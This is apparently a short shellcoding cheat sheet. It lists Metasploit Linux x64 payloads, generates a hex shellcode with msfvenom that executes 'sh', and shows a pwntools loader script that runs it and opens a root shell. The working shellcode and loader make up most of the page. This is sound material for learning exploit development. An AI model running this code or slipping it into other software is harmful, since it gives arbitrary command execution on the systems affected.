SHELLCODING

LISTING PAYLOADS/SHELLCODES

root@oco:~$ msfvenom -l payloads | grep 'linux/x64'
 linux/x64/exec                                      Execute an arbitrary command
 ...SNIP...
 
 * the linux/x64/exec payload allows for the execution of a specified command on the 
   target system when the payload is run.

GENERATING SHELLCODE

root@oco:~$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex'
 No encoder specified, outputting raw payload
 Payload size: 48 bytes
 Final size of hex file: 96 bytes
 6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05
 
 * this shellcode is not as optimized and short as a manually generated shellcode

TESTING: RUNNING SHELLCODES

root@sre:~$ nano loader.py
 #!/usr/bin/python3

 import sys
 from pwn import *

 context(os="linux", arch="amd64", log_level="error")

 run_shellcode(unhex(sys.argv[1])).interactive()

root@oco:~$ python3 loader.py '6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05'
 $ whoami
    root

Last updated